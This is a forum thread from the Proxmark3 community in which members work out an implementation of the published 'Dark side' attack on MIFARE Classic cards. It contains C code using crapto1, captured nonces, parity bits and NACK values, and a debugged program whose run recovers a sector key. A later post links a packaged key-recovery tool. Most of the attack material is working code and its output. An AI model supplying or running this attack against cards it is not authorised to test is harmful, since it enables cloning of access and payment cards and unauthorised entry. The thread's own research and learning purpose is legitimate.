Proxmark3 community

dzindra

Member

Registered: 2009-11-05

Posts: 4

Implementing "Dark side" attack

Hi all, I'm currently trying to implement "dark side" attack described in http://eprint.iacr.org/2009/137.pdf using libnfc and Touchatag reader.

I successfuly managed to send cryptogram, read the 4bit answer, fix the tag nonce (in 3-4 tries avg.) by setting realtime process priority class, got seven more responses from the card. I want to use common_prefix function from crapto1 (v2.5), but I'm quite not sure how to get the constants for it and then how to perform rollback (I got some ideas though).

Results from the tag:

// tag nonce 0xdc,0x2c,0x16,0xd3

typedef struct {
    byte_t arEnc[8]; // cryptogram
    byte_t arEncPar[8]; // parity
    byte_t resp; // card 4bit nack response (not modified)
} RESPONSE;

RESPONSE responses[8] = {
    {{0x93, 0xfe, 0xe8, 0xf0, 0x47, 0xa2, 0x85, 0x2e}, {1, 1, 1, 0, 1, 1, 0, 1}, 0x01},
    {{0x93, 0xfe, 0xe8, 0xf1, 0x47, 0xa2, 0x85, 0x2e}, {1, 1, 1, 1, 0, 0, 1, 0}, 0x0e},
    {{0x93, 0xfe, 0xe8, 0xf2, 0x47, 0xa2, 0x85, 0x2e}, {1, 1, 1, 1, 1, 1, 1, 0}, 0x00},
    {{0x93, 0xfe, 0xe8, 0xf3, 0x47, 0xa2, 0x85, 0x2e}, {1, 1, 1, 0, 1, 1, 0, 0}, 0x0e},
    {{0x93, 0xfe, 0xe8, 0xf4, 0x47, 0xa2, 0x85, 0x2e}, {1, 1, 1, 1, 1, 1, 1, 1}, 0x0d},
    {{0x93, 0xfe, 0xe8, 0xf5, 0x47, 0xa2, 0x85, 0x2e}, {1, 1, 1, 1, 0, 0, 0, 1}, 0x02},
    {{0x93, 0xfe, 0xe8, 0xf6, 0x47, 0xa2, 0x85, 0x2e}, {1, 1, 1, 0, 0, 0, 0, 0}, 0x0c},
    {{0x93, 0xfe, 0xe8, 0xf7, 0x47, 0xa2, 0x85, 0x2e}, {1, 1, 1, 0, 1, 1, 1, 1}, 0x0c},
};

For testing I use my ISIC card (i know the keys to all sectors), but when I compare responses from the tag to results of my test code they do not match (but I'm not sure where the mistake is...). The main idea is to generate exactly the same responses as tag. I'm trying to achieve this by generating keystream bits ks3(3) - ks3(0). I suspect the swapping is not done correctly or i forgot something when generating keystream.

Test code for simulating the tag response:

#include "crapto1.h"
#include "bitutils.h"
#include <stdio.h>

int main(void) {
    struct Crypto1State *state;
    uint32_t uid = 0x74d77626;
    byte_t nt[4] = {0xdc, 0x2c, 0x16, 0xd3};

    uint32_t nr[8] = {0x93fee8f0, 0x93fee8f1, 0x93fee8f2, 0x93fee8f3,
        0x93fee8f4, 0x93fee8f5, 0x93fee8f6, 0x93fee8f7};
    uint32_t ks2;
    byte_t ks3[4];
    byte_t ks3x;
    uint64_t key = 0xe5fecf0633ebULL;

    printf("ks2       ks3    ks3 ^ 5\n");
    for (int i = 0; i < 8; i++) {
        state = crypto1_create(swap_endian64(&key) >> 16);
        crypto1_word(state, swap_endian32(&uid) ^ swap_endian32(nt), 0);
        crypto1_word(state, swap_endian32(&nr[i]), 1);

        ks2 = crypto1_word(state, 0, 0);

        ks3[3] = crypto1_bit(state, 0, 0);
        ks3[2] = crypto1_bit(state, 0, 0);
        ks3[1] = crypto1_bit(state, 0, 0);
        ks3[0] = crypto1_bit(state, 0, 0);

        ks3x = ks3[3] << 3 | ks3[2] << 2 | ks3[1] << 1 | ks3[0];
        printf("%0x8 %01x%01x%01x%01x %x %x\n", ks2, ks3[3], ks3[2], ks3[1], ks3[0], ks3x, ks3x^5);
    }

    return 0;
}

rule

Member

Registered: 2008-05-21

Posts: 417

Re: Implementing "Dark side" attack

Hey,

Did you make sure to iterate over the last 3 bits of the reader nonce (Nr). While this could sound counter-intuitive, you have to take in account that the bits of 1 byte are send in reverse order. This makes that the variations of the reader nonce are:

0x93fee8f0
0x93fee8f0 ^ 0x80
0x93fee8f0 ^ 0x40
0x93fee8f0 ^ 0xc0
0x93fee8f0 ^ 0x20
0x93fee8f0 ^ 0xa0
0x93fee8f0 ^ 0x60
0x93fee8f0 ^ 0xe0

Or looking to your code you could just update it with:

crypto1_word(state, nr[0] ^ mirror_byte(i) , 1);

Note: Make sure you fix the mixing of swap_endian32() values, only byte-arrays need to be swapped!

Furthermore, when I use my simulation I come the following values using your constants:

T: dc  2c  16  d3  
R: 93  fe  e8  f0  47  a2  85  2e  
   Nr^00: 660c30cc
   parity: 01  01  01  00  01  01  00  01  
T: 01  

T: dc  2c  16  d3  
R: 93  fe  e8  70  47  a2  85  2e  
   Nr^80: 660c30cc
   parity: 01  01  01  01  00  01  01  01  
T: 01  

T: dc  2c  16  d3  
R: 93  fe  e8  b0  47  a2  85  2e  
   Nr^40: 660c30cc
   parity: 01  01  01  01  00  01  00  00  
T: 08  

T: dc  2c  16  d3  
R: 93  fe  e8  30  47  a2  85  2e  
   Nr^c0: 660c30cc
   parity: 01  01  01  00  00  00  01  01  
T: 00  

T: dc  2c  16  d3  
R: 93  fe  e8  d0  47  a2  85  2e  
   Nr^20: 660c30cc
   parity: 01  01  01  01  01  01  01  00  
T: 0a  

T: dc  2c  16  d3  
R: 93  fe  e8  50  47  a2  85  2e  
   Nr^a0: 660c30cc
   parity: 01  01  01  00  01  00  01  01  
T: 0b  

T: dc  2c  16  d3  
R: 93  fe  e8  90  47  a2  85  2e  
   Nr^60: 660c30cc
   parity: 01  01  01  00  01  00  00  01  
T: 06  

T: dc  2c  16  d3  
R: 93  fe  e8  10  47  a2  85  2e  
   Nr^e0: 660c30cc
   parity: 01  01  01  01  01  00  01  00  
T: 02  

Notice here, that the Nr does not changes. This is good!
There is very low chance that you actually have values where keystream over the tag-response changes
Those are useless, the linear difference could not be used to recover the key (easily) then.

Than last but not least, the 4 bits keystream that encrypt the NACK are comming from the first byte keystream that is produced after suc2(Nt), The byte is send again in reversed order, to the 4 least significant bits are used.

for transmission we can use the next notation (cipher-text byte)
ct-byte = b7b6b5b4b3b2b1b0, (use b3...b0).
while the cipher will produce the following byte (key-stream byte)
ks-byte = b0b1b2b3b4b5b6b7, (use b0...b3).
Note: crapto1 returns the reversed (mirrored) key-stream byte output when you run crypto1_byte()
So the key-stream byte notation from crapto1 is:
crapt-ks-byte = b7b6b5b4b3b2b1b0, (use b3...b0)
You can simply extract them by performing an AND with the last 4 bits of the byte (& 0x0f).

You could just only produce 4 bits of key-stream (like you did in your code), but then you have to mirror them yourself!

So easier would be to do the following:

...
ks2 = crypto1_word(state, 0, 0);

byte_t bt
bt = crypto1_byte(state,0x00,0);
bt &= 0x0f;
bt ^= 0x05;

Good luck, let us know what comes out of your tests

Cheers,

  Roel

hat

Contributor

Registered: 2009-04-12

Posts: 160

Re: Implementing "Dark side" attack

yikes a lot of text.

- yes in all likelihood you are varying the wrong bits.

- Roel's explanation of reverse sending mirror bit's or whatnot hurt my brain.

I would put it this way:
crapto1 interface expects bytes the way they also appear in printed traces.

reading traces from left to right you will see
least significant byte -> most significant byte
most significant bit  -> least significant bit

you want the 3 most significant bits
so you need the right most byte, and its leftmost bits.

Last edited by hat (2009-11-08 03:18:41)

dzindra

Member

Registered: 2009-11-05

Posts: 4

Re: Implementing "Dark side" attack

So, thanks to your advices I fixed the test code and now it gives exactly the same results as the tag. I noticed that it gives the correct results even for wrong variation of bits (in my first try). I also fixed my main code. Bit and byte orderings in crapto1 are quite confusing for the beginner (and not documented) but now it just makes sense But if i try to decrypt {nr} with ks1, it does not match with your values, Roel. It differs in last byte.

#include "crapto1.h"
#include "bitutils.h"
#include <stdio.h>

int main(void) {
    struct Crypto1State *state;
    uint32_t uid = 0x74d77626;
    //    byte_t nt[4] = {0xc7, 0xd9, 0x40, 0xf2};
    byte_t nt[4] = {0xdc, 0x2c, 0x16, 0xd3};

    //uint32_t nr[8] = {0x54e1f31b, 0x54e1f33b, 0x54e1f35b, 0x54e1f37b, 0x54e1f39b, 0x54e1f3bb, 0x54e1f3db, 0x54e1f3fb};
    //uint32_t nr[8] = {0x93fee8f0, 0x93fee8f1, 0x93fee8f2, 0x93fee8f3, 0x93fee8f4, 0x93fee8f5, 0x93fee8f6, 0x93fee8f7};
    uint32_t nr[8] = {0x93fee8f0, 0x93fee870, 0x93fee8b0, 0x93fee830, 0x93fee8d0, 0x93fee850, 0x93fee890, 0x93fee810};

    uint32_t ks1, ks2;
    byte_t ks3x;
    uint64_t key = 0xe5fecf0633ebULL;

    printf("{nr}    |ks1     |ks2     |ks3 |ks3^5|nr\n");
    printf("--------+--------+--------+----+-----+--------\n");
    for (int i = 0; i < 8; i++) {
        state = crypto1_create(key);
        crypto1_word(state, uid ^ swap_endian32(nt), 0);
        ks1 = crypto1_word(state, nr[i], 1);

        ks2 = crypto1_word(state, 0, 0);

        ks3x = crypto1_byte(state, 0, 0) & 0x0f;

        printf("%08x|%08x|%08x| %x  |  %x  |%08x\n", nr[i], ks1, ks2, ks3x, ks3x^5, ks1 ^ nr[i]);

        crypto1_destroy(state);
    }

    return 0;
}

Output for this:

{nr}    |ks1     |ks2     |ks3 |ks3^5|nr
--------+--------+--------+----+-----+--------
93fee8f0|f5f2d83c|53a61166| 4  |  1  |660c30cc
93fee870|f5f2d83c|73a2689c| 4  |  1  |660c304c
93fee8b0|f5f2d83c|d37c70af| d  |  8  |660c308c
93fee830|f5f2d83c|d39a20bc| 5  |  0  |660c300c
93fee8d0|f5f2d83c|33da1803| f  |  a  |660c30ec
93fee850|f5f2d83c|339e4522| e  |  b  |660c306c
93fee890|f5f2d83c|93e83032| 3  |  6  |660c30ac
93fee810|f5f2d83c|93beeafa| 7  |  2  |660c302c

Now for the real attack, I call common_prefix function from crapto1. It returns two lists of uint32_t (one for isodd=0 and one for isodd=1). I have to combine them (using cartesian product) and pad them with 6 bits to get 48 bit state. This will give me roughly 2^16 states. So the 48bit state will look like (not sure about that):

MSB                                                      LSB
(6 bits padding)(21 bits from isodd=0)(21 bits from isodd=1)

So this will be the state of LFSR after generating first byte of ks3? How exactly do I perform rollback with crapto1 functions (if there are any)?

Last edited by dzindra (2009-11-08 11:44:58)

rule

Member

Registered: 2008-05-21

Posts: 417

Re: Implementing "Dark side" attack

The odd and even should be merged together to get the total state. An example of this is shown here:

 x31e51e0417a: xxxxxx11 00011110 01010001 11100000 01000001 01111010 
Even = 130c07: x x x 1  0 0 1 1  0 0 0 0  1 1 0 0  0 0 0 0  0 1 1 1  
 Odd = 16d89c:  x x x 1  0 1 1 0  1 1 0 1  1 0 0 0  1 0 0 1  1 1 0 0  

The crosses (x) cover the first 6 bits that could not be recovered. For those bits you should try all possibilities.
When you have the combined values + (all 2^6 possibilities per combined-value), you can start rolling back the states that correspond to the NACK values. There you can check the parity bits for all 8 cases, if they all match, it will be the one you are looking for.

dzindra

Member

Registered: 2009-11-05

Posts: 4

Re: Implementing "Dark side" attack

it seems like there is a new crapto1 version that might help you a bit. I haven't checked it yet though.

Hat, it seems you have some future-predicting abilities I checked it yesterday and there was still v2.5.

I downloaded the new version, read it briefly and it seems there are really useful functions. I'll try to use it and post my results here.

rule

Member

Registered: 2008-05-21

Posts: 417

Re: Implementing "Dark side" attack

Hey hey,

I've looked into the new code of crapto1, it seems to be a peace of art again
I've written a new test program (test3.c) which will generate NACK and PARITY values.
After generating, it fires the new crapto1 functionality!

#include "crapto1.h"
#include <inttypes.h>
#include <stdio.h>
typedef unsigned char byte_t;

int main(const int argc, const char* argv[]) {
  struct Crypto1State *state;
  uint32_t pos, uid, nt, nr, rr, nr_diff, ks1, ks2;
  byte_t bt, i, ks3x[8], par[8][8];
  uint64_t key, key_recovered;
  
  if (argc < 6) {
    printf("\nsyntax: %s <key> <uid> <nt> <nr> <rr>\n\n",argv[0]);
    return 1;
  }
  sscanf(argv[1],"%012llx",&key);
  sscanf(argv[2],"%08x",&uid);
  sscanf(argv[3],"%08x",&nt);
  sscanf(argv[4],"%08x",&nr);
  sscanf(argv[5],"%08x",&rr);
  
  // Reset the last three significant bits of the reader nonce
  nr &= 0xffffff1f;
  
  printf("\nkey(%012llx) uid(%08x) nt(%08x) nr(%08x) rr(%08x)\n\n",key,uid,nt,nr,rr);
  
  printf("|diff|{nr}    |ks1     |ks2     |ks3|ks3^5|nr      |parity         |\n");
  printf("+----+--------+--------+--------+---+-----+--------+---------------+\n");
  for (i = 0; i < 8; i++) {
    nr_diff = nr | i << 5;
    state = crypto1_create(key);
    crypto1_word(state, uid ^ nt, 0);
    
    for (pos=0; pos<4; pos++)
    {
      bt = nr_diff >> (8*(3-pos));
      ks1 = (ks1 << 8) | crypto1_byte(state,bt,1);
      par[i][pos] = filter(state->odd) ^ parity((ks1 & 0xff)^bt) ^ 1;
    }
    
    for (pos=0; pos<4; pos++)
    {
      bt = rr >> (8*(3-pos));
      ks2 = (ks2 << 8) | crypto1_byte(state,0x00,0);
      par[i][pos+4] = filter(state->odd) ^ parity((ks2 & 0xff)^bt) ^ 1;
    }
    
    ks3x[i] = crypto1_byte(state, 0, 0) & 0x0f;
    printf("| %02x |%08x|%08x|%08x|",i << 5, nr_diff, ks1, ks2);
    printf(" %01x |  %01x  |%08x|",ks3x[i], ks3x[i]^5, ks1 ^ nr_diff);
    for (pos=0; pos<7; pos++) printf("%01x,",par[i][pos]);
    printf("%01x|\n",par[i][7]);
    crypto1_destroy(state);
  }
  
  state = lfsr_common_prefix(nr,rr,ks3x,par);
  lfsr_rollback_word(state,uid^nt,0);
  crypto1_get_lfsr(state,&key_recovered);
  printf("\nkey recovered: %012llx\n\n",key_recovered);
  crypto1_destroy(state);
  
  return 0;
}

Compiling the sourcecode

gcc  -o test3 crypto1.c crapto1.c test3.c

Execute and output:

./test3 e5fecf0633eb 74d77626 dc2c16d3 93fee8f0 47a2852e

key(e5fecf0633eb) uid(74d77626) nt(dc2c16d3) nr(93fee810) rr(47a2852e)

|diff|{nr}    |ks1     |ks2     |ks3|ks3^5|nr      |parity         |
+----+--------+--------+--------+---+-----+--------+---------------+
| 00 |93fee810|f5f2d83c|93beeafa| 7 |  2  |660c302c|1,1,1,1,1,0,1,0|
| 20 |93fee830|f5f2d83c|d39a20bc| 5 |  0  |660c300c|1,1,1,0,0,0,1,1|
| 40 |93fee850|f5f2d83c|339e4522| e |  b  |660c306c|1,1,1,0,1,0,1,1|
| 60 |93fee870|f5f2d83c|73a2689c| 4 |  1  |660c304c|1,1,1,1,0,1,1,1|
| 80 |93fee890|f5f2d83c|93e83032| 3 |  6  |660c30ac|1,1,1,0,1,0,0,1|
| a0 |93fee8b0|f5f2d83c|d37c70af| d |  8  |660c308c|1,1,1,1,0,1,0,0|
| c0 |93fee8d0|f5f2d83c|33da1803| f |  a  |660c30ec|1,1,1,1,1,1,1,0|
| e0 |93fee8f0|f5f2d83c|53a61166| 4 |  1  |660c30cc|1,1,1,0,1,1,0,1|

key recovered: e5fecf0633eb

Last edited by rule (2009-11-08 20:05:11)

hat

Contributor

Registered: 2009-04-12

Posts: 160

Re: Implementing "Dark side" attack

@yeah i was coding the same, this seems to work though, i can't immediately see how it varies from yours. Perhaps it's in the required order keystream and parities have to be in ?

removed

EDIT: I found the bug in Roel's code

replace:

nr_diff = nr^mirror_byte(i);

with:

nr_diff = nr & 0xffffff1f | i << 5;

this makes the whole mirror_byte and bytes_to_num stuff superfluous. and at the end you'll want to roll back over the tagnonce^uid but then you should have it.

Last edited by hat (2009-11-08 19:22:36)

rule

Member

Registered: 2008-05-21

Posts: 417

Re: Implementing "Dark side" attack

Thank you hat, crapto1 indeed expects the NACKs in a specific order, from 0x00 to 0x07 ... doh!

I've updated the code above, it should work now!

dzindra

Member

Registered: 2009-11-05

Posts: 4

Re: Implementing "Dark side" attack

Finally I got it working! Thanks to both of you, guys I will cleanup and comment the code and I will post it here tomorrow .

Last edited by dzindra (2009-11-08 23:31:34)

edo512

Contributor

Registered: 2008-10-07

Posts: 103

Re: Implementing "Dark side" attack

Finally I got it working! Thanks to both of you, guys I will cleanup and comment the code and I will post it here tomorrow .

finally = 3 day old thread .. weak
lack of follow through is not surprising.

so, dzindra... any follow up ?

zveriu

Member

Registered: 2008-10-21

Posts: 3

Re: Implementing "Dark side" attack

Hi all,

Please check this post for a working (yet, still to be improved, cleaned-up, integrated and packaged) Mifare Classic Key Recovery tool using "Dark Side" attack method:

http://www.libnfc.org/community/topic/9 … de-attack/

Sorry for cross-posting from a different forum, but I assume people on proxmark are mostly present on libnfc also (if not, they should )

Enjoy!

zveriu - http://andreicostin.com

hat

Contributor

Registered: 2009-04-12

Posts: 160

Re: Implementing "Dark side" attack

i gave the code my customary keep looking until you have at-least-one-thing-to-remark-code-review.

#define MAX_TAG_NONCES                  65536 // Suppose from 2^32, only MAX 2^16 tag nonces will appear given current sleeps

in fact to be completely accurate that would be (2^16) -1. Null will not appear as tag nonce.

i'll find something more meaningful to say at some point i'm sure.